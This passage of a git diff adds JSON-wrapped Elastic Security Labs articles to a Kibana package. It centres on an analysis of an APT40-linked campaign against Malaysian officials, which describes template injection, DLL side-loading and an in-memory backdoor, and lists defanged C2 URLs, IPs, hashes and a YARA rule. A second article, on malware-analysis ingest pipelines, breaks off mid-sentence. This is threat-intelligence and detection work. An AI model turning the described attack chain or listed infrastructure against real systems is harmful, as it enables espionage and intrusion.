issues](https://github.com/elastic/detection-rules/issues), chat with us in our [community Slack](http://ela.st/slack), and ask questions in our [Discuss forums](https://discuss.elastic.co/c/security/endpoint-security/80)!\n\nAlso, feel free to check out these additional resources to learn more about how we’re bringing the latest AI capabilities to the hands of the analyst: \n - Learn how to responsibly use [ChatGPT with Elasticsearch](https://www.elastic.co/blog/chatgpt-elasticsearch-openai-meets-private-data)\n - See the new Elastic [AI Assistant](https://www.elastic.co/blog/introducing-elastic-ai-assistant) — the open, generative AI sidekick powered by ESRE and [get setup](https://www.elastic.co/guide/en/security/current/security-assistant.html#set-up-ai-assistant)\n" + }, + "title": "Accelerating Elastic detection tradecraft with LLMs", + "slug": "accelerating-elastic-detection-tradecraft-with-llms", + "date": "2023-09-29", + "description": "Learn more about how Elastic Security Labs has been focused on accelerating our detection engineering workflows by tapping into more generative AI capabilities.", + "author": [ + { + "slug": "mika-ayenson" + }, + { + "slug": "jess-daubner" + } + ], + "image": "photo-edited-09@2x.jpg", + "category": [ + { + "slug": "detection-science" + }, + { + "slug": "machine-learning" + }, + { + "slug": "generative-ai" + } + ] + }, + "id": "security_labs_content-accelerating_elastic_detection_tradecraft_with_llms-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-advanced_techniques_used_in_malaysian_focused_apt_campaign-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-advanced_techniques_used_in_malaysian_focused_apt_campaign-md.json new file mode 100644 index 00000000000..50e34b3fc85 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-advanced_techniques_used_in_malaysian_focused_apt_campaign-md.json @@ -0,0 +1,30 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"A close look at the advanced techniques used in a Malaysian-focused APT campaign\"\nslug: \"advanced-techniques-used-in-malaysian-focused-apt-campaign\"\ndate: \"2022-06-22\"\ndescription: \"Our Elastic Security research team has focused on advanced techniques used in a Malaysian-focused APT campaign. Learn who’s behind it, how the attack works, observed MITRE attack® techniques, and indicators of compromise.\"\nauthor:\n - slug: samir-bousseaden\n - slug: daniel-stepanic\n - slug: elastic-security-intelligence-analytics-team\nimage: \"blog-thumb-castle-tower.jpg\"\ncategory:\n - slug: campaigns\n---\n\nThe Elastic Security Intelligence & Analytics Team researches adversary innovations of many kinds, and has recently focused on an activity group that leveraged remote templates, VBA code evasion, and DLL side-loading techniques. Based on code similarity and shared tactics, techniques, and procedures (TTPs), the team assessed this activity to be possibly linked to a Chinese-based group known as APT40, or Leviathan. The group’s campaign appears to target Malaysian government officials with a lure regarding the 2020 Malaysian political crisis.\n\n## Anatomy of the attack\n\n![Figure 1: Original image](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/1-leviathan-apt-blog-original-image.jpg)\n\n![Figure 2: Lure document image](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/2-leviathan-apt-blog-lure-document-image.jpg)\n\nTo initiate their advanced persistent threat (APT) campaign, the group likely delivered a Microsoft Word document as a phishing lure attachment. The image used in the lure (Figure 2) appears to be crafted from a broadcast announcement shared by a Malaysian blogger (Figure 1). The lure image includes the same broadcast time, but the date and speech topic are removed. Once this attachment is opened, a decoy document is presented while behind the scenes, taking the following actions:\n\n- The lure document downloads the remote template RemoteLoad.dotm\n- The remote template executes VBA macro code\n- The VBA macro code unpacks and executes two embedded base64-encoded DLLs (sl1.tmp and sl2.tmp) to c:\\users\\public\\\n\nThis technique is known as template injection, which you may recall from our [Playing defense against Gamaredon Group blog post](https://www.elastic.co/blog/playing-defense-against-gamaredon-group). This an effective approach used by adversaries to bypass perimeter controls such as email gateways.\n\n![Figure 4: Obfuscation of MZ/PE header base64](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/4-leviathan-apt-blog-obfuscation.jpg)\n\nBoth embedded DLLs (sl1.tmp and sl2.tmp) are similar and export the same function names: RCT and RCP. The first DLL (sl1.tmp) is used to download a benign executable called LogiMailApp.exe and an associated library LogiMail.dll, and the second DLL (sl2.tmp) is used to execute LogiMailApp.exe, which automatically attempts to execute LogiMail.dll due to an inherent DLL search order vulnerability we’ll cover shortly.\n\n| | | | | |\n| --------------- | --------- | ------------ | -------------------------------- | ------------------------- |\n| File name | File type | Size (bytes) | MD5 | Compile time |\n| LogiMailApp.exe | Win32 EXE | 311656 | 850a163ce1f9cff0367854038d8cfa7e | 2012-09-26 22:13:13+00:00 |\n| LogiMail.dll | Win32 DLL | 105984 | b5a5dc78fb392fae927e9461888f354d | 2020-06-03 04:08:29+00:00 |\n| sl1.tmp | Win32 DLL | 3072 | ccbdda7217ba439dfb6bbc6c3bd594f8 | 2019-11-29 17:15:29+00:00 |\n| sl2.tmp | Win32 DLL | 3072 | dbfa006d64f39cde78b0efda1373309c | 2019-11-29 21:23:44+00:00 |\n\n_Table 1: Dropped files metadata_\n\n![Figure 5: Download and execution of LogiMailApp.exe and LogiMail.dll](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/5-leviathan-apt-blog-download-execution.jpg)\n\nThis implementation stood out to our researchers due to a behavioral idiosyncrasy:\n\n- The Microsoft Office application winword.exe loads sl1.tmp and sl2.tmp DLLs uses the LoadLibraryA method, which is moderately rare\n- These DLLs run explicit commands or install a payload from a URL using the CallWindowProcA method, which appears to be exceptionally rare\n- Both DLLs are deleted after execution\n\n![Figure 6: Download and execution module deletion](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/6-leviathan-apt-blog-module.jpg)\n\n## Embedded DLLs\n\nThe embedded DLLs, sl1.tmp and sl2.tmp, have very limited functionality — exporting the RCP and RCT functions. The RCP function implements the WinExec method to execute commands where the RCT function uses the URLDownloadToFileA method to download a file from a specified URL.\n\n![Figure 7: Exported functions – RCP and RCT](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/7-leviathan-apt-blog-exported-functions.jpg)\n\n## DLL side-loading a backdoor\n\nLogiMailApp.exe, which is downloaded by sl1.tmp and executed by sl2.tmp, is vulnerable to a form of DLL search-order hijacking called side-loading, which automatically searches for and executes LogiMail.dll if found in the same directory. Forms of DLL search-order hijacking can be used with many third-party software applications. In this case, search-order hijacking was used to load a backdoor that exports the following notable functions:\n\n![Figure 8: LogiMail.dll exports table](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/8-leviathan-apt-blog-logimail-exports.jpg)\n\n![Figure 9: LogiMailApp.exe – Logitech camera software](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/9-leviathan-apt-blog-logitech-software.jpg)\n\n![Figure 10: LogiMail.dll side-loading](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/10-leviathan-apt-blog-side-loading.jpg)\n\nThe adversary-created binary LogiMail.dll exports the function DllGetClassObject that contains critical logic for the execution flow of this sample:\n\n1. Download an AES-encrypted second stage object to %TEMP%\\~liseces1.pcs\n2. Derive a 128-bit AES key and initialization vector from SHA256 of a hardcoded string\n3. Read and decrypt %TEMP%\\~liseces1.pcs in memory using the ReadFile and CryptDecrypt functions\n4. Delete %TEMP%\\~liseces1.pcs from disk\n\n![Figure 11: Encrypted URL and hardcoded key](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/11-leviathan-apt-blog-encrypted-url.jpg)\n\n![Figure 12: Decrypted second stage URL and temp staging file](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/12-leviathan-apt-blog-decrypted-second-stage.jpg)\n\n![Figure 13: Second stage download, in-memory decryption, execution, and file deletion](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/13-leviathan-apt-blog-second-stage-download.jpg)\n\n## Second stage backdoor\n\nThe decrypted second stage backdoor is mapped into memory and then its original entry point (OEP) is called, thus bypassing successful detections based on file system scanning.\n\n![Figure 14: LogiMail.dll — Resolving needed functions to map second stage PE into memory](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/14-leviathan-apt-blog-resolving-needed-functions.jpg)\n\n![Figure 15: The second stage implant mapped in LogiMailApp.exe memory](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/15-leviathan-apt-blog-second-stage-mapped.jpg)\n\nBoth the payload staging server and the second stage infrastructure use dynamic DNS:\n\n![Figure 16: C2 HTTP POST request to /postlogin](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/16-leviathan-apt-blog-c2.jpg)\n\nThis payload supports the following capabilities:\n\n- Basic anti-debug checks\n- System and user discovery\n- Execution via command line\n- File discovery, upload, and download\n- Persistence via run registry\n- Encrypt C2 traffic using same AES key\n\n![Figure 17: System and user discovery](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/17-leviathan-apt-blog-system-discovery.jpg)\n\n![Figure 18: Execution via command-line](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/18-leviathan-apt-blog-execution-command-line.jpg)\n\n![Figure 19: File discovery, upload, and download](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/19-leviathan-apt-blog-file-discovery.jpg)\n\n## Possible APT40/Leviathan connection\n\nEarlier in the year, the Malaysian Computer Emergency Response Team (MyCERT) issued an [advisory](https://www.mycert.org.my/portal/advisory?id=MA-774.022020) related to espionage activity targeting their country. The report listed different TTPs and included multiple samples and other technical indicators that align with a threat group known as APT40/Leviathan.\n\nAt a high level, this sample follows the continued trend of targeting Malaysian victims using specific TTPs such as remote templates, employing macros, using DLL side-loading techniques, and leveraging an in-memory implant with dynamic DNS for command and control. More specifically, the second stage implant from this lure shares unique strings and URL references and contains similar functionality that correlates with the previous reporting for APT40/Leviathan. With these similarities, our Intelligence & Analytics Team assesses with moderate confidence that this activity is linked to APT40/Leviathan.\n\nImplant String Similarities with MyCERT Sample:\n\n- /list_direction\n- /post_document\n- /post_login\n- Open Remote File %s Failed For: %s\n- Open Pipe Failed %s\n- Download Read Path Failed %s\n- %02X-%02X-%02X-%02X-%02X-%02X\n- Software\\Microsoft\\Windows\\CurrentVersion\\Run\n- ntkd\n\n![](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/20-leviathan-apt-blog-shared-strings.jpg)\n\n![Figure 20: Shared strings with MyCERT sample - 8a133a382499e08811dceadcbe07](/assets/images/advanced-techniques-used-in-malaysian-focused-apt-campaign/21-leviathan-apt-blog-shared-strings-2.jpg)\n\n## Conclusion\n\nIn this post, we highlighted a recent sample that most likely represents the work of a highly organized adversary. Activity groups like this are significant for everyone to take notice of, if only because they represent a higher maturity level of post-exploit innovation. Their cutting edge TTPs today end up being everyone’s run of the mill tomorrow; it’s important to learn from these events.\n\nWe hope that by sharing some of these insights, we can help raise awareness and continue to focus on protecting the world's data from attack. To enable organizations further, we’ve added all the observed MITRE ATT&CK® techniques and indicators of compromise (IoCs) below.\n\n### MITRE ATT&CK® techniques\n\n- [T1193 - Spearphishing Attachment](https://attack.mitre.org/techniques/T1193/)\n- [T1221 - Template Injection](https://attack.mitre.org/techniques/T1221/)\n- [T1060 - Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1060/)\n- [T1073 - DLL Side-Loading](https://attack.mitre.org/techniques/T1073/)\n- [T1129 - Execution through Module Load](https://attack.mitre.org/techniques/T1129/)\n- [T1055 - Process Injection](https://attack.mitre.org/techniques/T1055/)\n- [T1107 - File Deletion](https://attack.mitre.org/techniques/T1107/)\n- [T1140 - Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140/)\n- [T1059 - Command-Line Interface](https://attack.mitre.org/techniques/T1059/)\n\n### Indicators of Compromise (IOCs)\n\n#### File names and paths\n\n```\nBubar Parlimen.zip\nBubar Parlimen.docx\nRemoteLoad.dotm\nC:\\Users\\Public\\sl1.tmp\nC:\\Users\\Public\\sl2.tmp\nC:\\Users\\*\\AppData\\Local\\Temp\\~liseces1.pcs\nC:\\Users\\*\\AppData\\Local\\Microsoft\\Office\\LogiMailApp.exe\nC:\\Users\\*\\AppData\\Local\\Microsoft\\Office\\LogiMail.dll\n```\n\n#### Registry keys\n\n```\nHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ntkd\n```\n\n#### URLs\n\n```\nhxxps[:]//armybar[.]hopto[.]org/LogiMail.dll\nhxxps[:]//armybar[.]hopto[.]org/LogiMailApp[.]exe\nhxxps[:]//armybar[.]hopto[.]org/Encrypted\nhxxp[:]//tomema.myddns[.]me/postlogin\nhxxp[:]//tomema[.]myddns[.]me/list_direction\nhxxp[:]//tomema[.]myddns[.]me/post_document\n```\n\n#### IPs\n\n```\n104[.]248[.]148[.]156\n139[.]59[.]31[.]188\n```\n\n#### HTTPS certificate\n\n```\n74b5e317527c93539dbaaf84d6a61da92a56012a\n```\n\n#### Hashes\n\n```\n523cbdaf31ddc920e5b6c873f3ab42fb791fb4c9d1f4d9e6a7f174105d4f72a1\nab541df861c6045a17006969dac074a7d300c0a8edd0a5815c8b871b62ecdda7\n145daf50aefb7beec32556fd011e10c9eaa71e356649edfce4404409c1e8fa30\n93810c5fd9a287d85c182d2ad13e7d30f99df76e55bb40e5bc7a486d259810c8\n925f404b0207055f2a524d9825c48aa511199da95120ed7aafa52d3f7594b0c9\nfeca9ad5058bc8571d89c9d5a1eebce09e709cc82954f8dce1564e8cc6750a77\n06a4246be400ad0347e71b3c4ecd607edda59fbf873791d3772ce001f580c1d3\n77ef350639b767ce0a748f94f723a6a88609c67be485b9d8ff8401729b8003d2\n```\n\n### YARA\n\n```\nrule APT_APT40_Implant_June2020 {\n meta:\n version = \"1.0\"\n author = \"Elastic Security\"\n date_added = \"2020-06-19\"\n description = \"APT40 second stage implant\"\n strings:\n $a = \"/list_direction\" fullword wide\n $b = \"/post_document\" fullword wide\n $c = \"/postlogin\" fullword wide\n $d = \"Download Read Path Failed %s\" fullword ascii\n $e = \"Open Pipe Failed %s\" fullword ascii\n $f = \"Open Remote File %s Failed For: %s\" fullword ascii\n $g = \"Download Read Path Failed %s\" fullword ascii\n $h = \"\\\\cmd.exe\" fullword wide\n condition:\n all of them\n}\n```\n\n### References\n\n- [https://www.mycert.org.my/portal/advisory?id=MA-774.022020](https://www.mycert.org.my/portal/advisory?id=MA-774.022020)\n\n- [https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/](https://prezi.com/view/jGyAzyy5dTOkDrtwsJi5/)\n- [https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html](https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html)\n- [https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache](https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache)\n" + }, + "title": "A close look at the advanced techniques used in a Malaysian-focused APT campaign", + "slug": "advanced-techniques-used-in-malaysian-focused-apt-campaign", + "date": "2022-06-22", + "description": "Our Elastic Security research team has focused on advanced techniques used in a Malaysian-focused APT campaign. Learn who’s behind it, how the attack works, observed MITRE attack® techniques, and indicators of compromise.", + "author": [ + { + "slug": "samir-bousseaden" + }, + { + "slug": "daniel-stepanic" + }, + { + "slug": "elastic-security-intelligence-analytics-team" + } + ], + "image": "blog-thumb-castle-tower.jpg", + "category": [ + { + "slug": "campaigns" + } + ] + }, + "id": "security_labs_content-advanced_techniques_used_in_malaysian_focused_apt_campaign-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-an_elastic_approach_to_large_scale_dynamic_malware_analysis-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-an_elastic_approach_to_large_scale_dynamic_malware_analysis-md.json new file mode 100644 index 00000000000..5a4f44a2655 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-an_elastic_approach_to_large_scale_dynamic_malware_analysis-md.json @@ -0,0 +1,23 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"An Elastic approach to large-scale dynamic malware analysis\"\nslug: \"an-elastic-approach-to-large-scale-dynamic-malware-analysis\"\ndate: \"2023-07-31\"\ndescription: \"This research reveals insights into some of the large-scale malware analysis performed by Elastic Security Labs, and complements research related to the Detonate framework.\"\nauthor:\n- slug: ruben-groenewoud\n- slug: remco-sprooten\nimage: \"blog-thumb-steel-engine.jpg\"\ncategory:\n---\n## Introduction\n\nIn previous publications, we have written about Detonate: how we built it and how we use it within Elastic for malware analysis. This publication delves deeper into using Detonate for dynamic large-scale malware analysis.\n\nAt a high level, Detonate runs malware and other potentially malicious software in a controlled (i.e., sandboxed) environment where the full suite of Elastic Security capabilities are enabled. For more information about Detonate, check out [Click, Click… Boom! Automating Protections Testing with Detonate](https://www.elastic.co/security-labs/click-click-boom-automating-protections-testing-with-detonate).\n\nA significant portion of the data generated during execution consists of benign and duplicate information. When conducting dynamic malware analysis on a large scale, managing the vast amount of low-value data is a considerable challenge. To address it, we took advantage of several Elastic ingest pipelines, which we leveraged to effectively filter out noise from our datasets. This application of ingest pipelines enabled us to conveniently analyze our large volumes of malware data and identify several malicious behaviors that we were already interested in.\n\nThis research examines the concept of ingest pipelines, exploring their different types and applications, and how to implement them. We will then walk through a comprehensive workflow incorporating these ingest pipelines. We will discuss our scripts and the methods that we created in order to automate the entire process. Finally, we will present our results and discuss how the workflow shared in this publication can be leveraged by others to obtain similar outcomes.\n\n### Overview\n\nIn order to accomplish our large-scale malware analysis goals, we required effective data management. An overview of the chained ingest pipelines and processors that we built is shown below:\n\n![Ingest pipeline process overview](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image1.png)\n\nIn summary, we fingerprint known good binaries and store those fingerprints in an enrich index. We do the same thing when we detonate malware or an unknown binary, using a comparison of those fingerprints to quickly filter out low-value data.\n\n### Ingest pipelines\n\n[Ingest pipelines](https://www.elastic.co/guide/en/elasticsearch/reference/current/ingest.html) are a powerful feature that allows you to preprocess and transform data before indexing it into Elasticsearch. They provide a way to perform various actions on incoming documents, such as enriching the data, modifying fields, extracting information, or applying data normalization. Ingest pipelines can be customized to meet specific data processing requirements. Our objective was to create a pipeline that differentiates known benign documents from a dataset containing both benign and malicious records. We ingested large benign and malicious datasets into separate namespaces and built pipelines to normalize the data, calculate fingerprints, and add a specific label based on certain criteria. This label helps differentiate between known benign and unknown data.\n\n### Normalization\n\nNormalization is the process of organizing and transforming data into a consistent and standardized format. When dealing with lots of different data, normalization becomes important to ensure consistency, improve search and analysis capabilities, and enable efficient data processing.\n\nThe goal is to make sure documents with unique identifiers are no longer unique. For example, we remove the unique 6-character filename of the Elastic Agent in the \" `/opt/Elastic/Agent/data/`\" directory after installation. This ensures data from different Elastic Agents can be fully comparable, leading to more filtering opportunities in later pipeline phases.\n\nTo accomplish this, we leveraged the [gsub pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/gsub-processor.html). It allowed us to apply regex-based transformations to fields within the data pipeline. We performed pattern matching and substitution operations to normalize event data, such as removing special characters, converting text to lowercase, or replacing certain patterns with standardized values.\n\nBy analyzing our dataset, we discovered a set of candidates that would require normalization, and created a simple Python script to generate a list of gsub processors based on the matching value and the replacement value. The script that we leveraged can be found on [GitHub](https://github.com/elastic/labs-releases/tree/main/tools/malware_research). Using the output of the script, we can leverage dev tools to create a pipeline containing the generated gsub processors.\n\nPrior to utilizing the normalization pipeline, documents would contain random 6 character strings for every single Elastic agent. An example is displayed below.\n\n![Document before normalization](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image6.png)\n\nAfter ingesting and manipulating the documents through the normalization pipeline, the result looks like the following.\n\n![Document after normalization](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image13.png)\n\nWhen all documents are normalized, we can continue with the fingerprint calculation process.\n\n### Fingerprint calculation\n\nFingerprint calculations are commonly used to generate a unique identifier for documents based on their content. The [fingerprint ingest pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) provides a convenient way to generate such identifiers by computing a hash value based on the specified fields and options, allowing for efficient document deduplication and comparison. The pipeline offers various options, including algorithms (such as MD5 or SHA-1), target fields for storing the generated fingerprints, and the ability to include or exclude specific fields in the calculation.\n\nWe needed to calculate the fingerprints of documents ingested into Elasticsearch from several sources and integrations such as endpoint, [auditd manager](https://docs.elastic.co/integrations/auditd_manager), packetbeat, [file integrity monitoring](https://docs.elastic.co/integrations/fim) etc. To calculate the fingerprints, we first needed to specify which fields we wanted to calculate them for. Because different data sources use different fields, it was important to create separate processors for each data type. For our use case, we ended up creating a different fingerprint processor for the following set of event categories:\n\n![Gsub ingest processor](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image20.jpg)\n\nBy specifying a condition we ensure that each processor only runs on its corresponding dataset.\n\n![Event filter example](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image21.jpg)\n\nThe included fields to these processors are of the utmost importance, as they can indicate if a field is less static than expected or if an empty field could result in a non-functional pipeline. For example, when working with network data, it might initially make sense to include protocol, destination ip, destination port, source ip and source port. But this will lead to too much noise in the pipeline, as the socket that is opened on a system will be opened on an ephemeral source port, which will result in many unique fingerprints for otherwise identical network traffic. Some fields that may be subject to change relate to file sizes, version numbers, or specific text fields that are not being parsed. Normalization sometimes preserves fields that aren't useful for fingerprinting, and the more specific the fingerprint the less useful it tends to be. Fingerprinting by file hash illustrates this, while adding an empty space to the file causes a new hash to be calculated, this would break an existing hash-based fingerprint of the file.\n\nField selection is a tedious process but vital for good results. For a specific integration, like auditd manager, we can find the [exported fields](https://github.com/elastic/integrations/tree/main/packages/auditd_manager) on [GitHub](https://github.com/elastic/integrations/tree/main/packages) and pick the ones that seem useful for our purposes. An example of the processor that we used for `auditd\\_manager` can be found in the image below.\n\n![Example of the event's fingerprint fields used for the calculation.](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image12.png)\n\n### Enrichment process\n\nThe [enrich ingest pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/enrich-processor.html) is used for enriching incoming documents with additional information from external data sources. It allows you to enrich your data by performing lookups against an index or data set, based on specific criteria. Common use cases for the enrich ingest pipeline include augmenting documents with data from reference datasets (such as geolocation or customer information) and enriching logs with contextual information (like threat intelligence labels).\n\nFor this project we leveraged enrich pipelines to add a unique identifier to the ingested document if it met certain criteria described within an enrich policy. To accomplish this, we first ingested a large and representative batch of benign data using a combination of normalization and fingerprint calculation pipelines. When the ingestion was completed, we set up several [enrich policies](https://www.elastic.co/guide/en/elasticsearch/reference/current/ingest-enriching-data.html) through the [execute enrich policy API](https://www.elastic.co/guide/en/elasticsearch/reference/current/execute-enrich-policy-api.html). The execution of these enrich policies will create a set of new .enrich-\\* system indices. The results stored within these indices will later be used by the pipelines used to ingest mixed (benign and malicious) data.\n\nThis will make more sense with an example workflow. To leverage the enrich ingest pipeline, we first need to create enrich policies. As we are dealing with different data sources - meaning network data looks very different from auditd manager data - we will have to create one enrich policy per data type. In our enrich policy we may use a query to specify which documents we want to include in our enrich index and which ones we want to exclude. An example enrich policy that should add all auditd manager data to the enrich index, other than the data matching three specific match phrases, is displayed below.\n\n![Creation of the enrich policy](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image14.jpg)\n\nWe are leveraging the “fingerprint” field which is calculated in the fingerprint processor as our match field. This will create an index filled with benign fingerprints to be used as the enriching index within the enrich pipeline.\n\nAfter creating this policy, we have to execute it for it to read the matching index, read the matching field, query for inclusions and exclusions, and create the new .enrich-\\* system index. We do this by executing a POST request to the \\_execute API.\n\n![Example API request to execute the enrich policy](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image18.jpg)\n\nWe set wait_for_completion=false to make sure that the policy doesn’t time out. This might occur if the dataset is too large. When we navigate to index management and include hidden indices, we can see that the index is created successfully.\n\n![The newly created enrich-* system index](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image16.jpg)\n\nWe now have a list of known benign fingerprints, which we will use within our enrich pipeline to filter our mixed dataset with. Our enrich pipeline will once again use a condition to differentiate between data sources. An overview of our enrich processors is displayed below.\n\n![Enrich ingest pipeline](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image8.jpg)\n\nFocusing on the auditd manager, we built an enrich processor using the condition field to check if the document's dataset is auditd_manager.auditd. If it matches, we reference the enrich policy we created for that dataset. Using the fingerprint field, we match and enrich incoming documents. If the fingerprint is known within the enrich indices we created, we add the \"enrich_label\" field with the fingerprint to the document. See the processor below.\n\n![Configuration example](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image7.png)\n\nOnce a document originating from the auditd_manager.auditd dataset comes through, the enrich processor is executed, and this finally executes a [script processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/script-processor.html). The script processor allows us to run inline or stored scripts on incoming documents. We leverage this functionality to read each document in the pipeline, check whether the “enrich_label” field was added; and if this is the case, we set a new boolean field called “known_benign” to true and remove the “enrich_label” and “enriched_fingerprint” fields. If the document does not contain the “enrich_label” field, we set “known\\_benign” to false. This allows us to easily filter our mixed dataset in Kibana.\n\n![Script processor](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image3.jpg)\n\nWhen using the “test pipeline” feature by adding a document that contains the “enrich_label”, we can see that the “fingerprint” and the “known_benign” fields are set.\n\n![Testing the pipeline with a benign document](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image22.jpg)\n\nFor documents that do not contain “enrich\\_label”, just the fingerprint is set.\n\nWorking with these enrich policies requires some setup, but once they are well structured they can truly filter out a lot of noise. Because doing this manually is a lot of work, we created some simple Python scripts to somewhat automate this process. We will go into more detail about how to automate the creation of these enrich policies, their execution, the creation of the enrich pipeline and more shortly.\n\n#### Ingest pipeline chaining\n\nThe [pipeline ingest pipeline](https://www.elastic.co/guide/en/elasticsearch/reference/current/pipeline-processor.html) provides a way to chain multiple ingest pipelines. By chaining pipelines, we create a sequence of operations that collectively shapes the incoming data in the form that we want, facilitating our needs for data normalization, fingerprint calculation, and data enrichment.\n\nIn our work with Detonate, we ended up creating two ingest pipelines. The first will process benign data, which consists of a normalization pipeline and a fingerprint calculation pipeline. The next will process malicious data, consisting of a normalization, fingerprint calculation, and enrichment pipeline. An example of this would be the following:\n\n![Pipeline ingest pipeline](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image15.jpg)\n\nWith the pipelines in place, we need to ensure that they are actually being used when ingesting data. To accomplish this, we leverage component templates.\n\n### Component templates\n\n[Component templates](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-component-template.html) are reusable configurations that define the settings and mappings for specific types of Elasticsearch components. They provide a convenient way to define and manage consistent configurations across multiple components, simplifying the management and maintenance of resources.\n\nWhen you first start using any fleet integrations, you would notice that a lot of component templates are created by default. These are also tagged as \"managed\", meaning that you can't change the configuration.\n\n![Component template overview](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image24.png)\n\nIn order to accommodate users that want to post process events that are ingested via the fleet managed agent, all index templates call out to a final component template whose name ends in `@custom`.\n\n![Custom component template overview](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image9.png)\n\nThe settings you put in these components will never be changed by updates. In our use case, we use these templates to add a mapping for the enrichment fields. Most of the data that is ingested via the fleet and its integrations will go through an ingest pipeline. These pipelines will follow the same pattern in order to accommodate user customizations. Take for example the following ingest pipeline:\n\n![Example of fleet manager component template](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image23.jpg)\n\nWe can see that it is managed by fleet and it is tied to a specific version (e.g. 8.8.0) of the integration. The processor will end by calling the `@custom` pipeline, and ignore it if it doesn't exist.\n\nWe want to add our enrichment data to the documents using the enrichment pipelines we described in the previous section. This can now simply be done by creating the `@custom` pipeline and having that call out to the enrichment pipeline.\n\n![Example of the created custom ingest pipeline](/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image5.jpg)\n\n### Automating the process\n\nIn order to create the gsub processors, ingest pipelines, and enrich policies, we had to use three Python scripts. In the next section we will showcase these scripts. If you choose to integrate these scripts, remember that you will need to adjust them to match your own environment in order to make them work.\n\n#### Creating the gsub ingest pipelines\n\nIn order to create a gsub pipeline that will replace the given random paths by static ones we used a Python [script](https://github.com/elastic/labs-releases/blob/main/tools/malware_research/gsub_pipeline_json_object.py) that takes several fields and patterns as an input, and prints out a json object which can be used by the pipeline creation API.\n\n#### Create Custom Pipelines\n\nAfter setting up the gsub pipeline, we leveraged [a second Python script](https://github.com/elastic/labs-releases/blob/main/tools/malware_research/custom_pipelines.py) that searches for all fleet managed configurations that call an @custom ingest pipeline. It will then create the appropriate pipeline, after which all the custom pipelines will be pointing to the `process_local_events` pipeline.\n\n#### Generate Enrichment Processors\n\nFinally, we created a [third](https://github.com/elastic/labs-releases/blob/main/tools/malware_research/enrich_policy_setup.py) Python script that will handle the creation of enrichment processors in four steps.\n\n1. `The cleanup process` : While an enrichment processor is used in an ingest pipeline it cannot be deleted. During testing and development we simply delete and recreate the ingest pipeline. This is of course not recommended for production environments. \n2. `Create enrich policies` : The script will create every individual policy.\n3. `Execute the policies` : This will start the process of creating the hidden enrichment system index. Note that the execution of the policy will take longer than the execution of the script as it will not wait for the completion of the command. Elastic will create the enrichment index in the background.\n4. `Re-create the ingest pipeline` : After the enrich policy has been updated, we can now re-create the ingest pipeline that uses the enrichments. \n\nAfter executing these three scripts, the whole setup is completed, and malicious data can be ingested into the correct namespace.\n\n### Results and limitations\n\nOur benign dataset includes 53,267,892 documents generated by executing trusted binaries on a variety of operating systems and collecting events from high-value data sources. Using this normalized benign dataset, we calculated the fingerprints and created the enrich policies per data type.\n\nWith this setup in place, we detonated 332 samples. After removing the Elastic agent metrics and endpoint alerts from the datasets, we ended up with a mixed dataset containing a total number of 41,710,279 documents.\n\n![Results prior to filtering on known_benign = 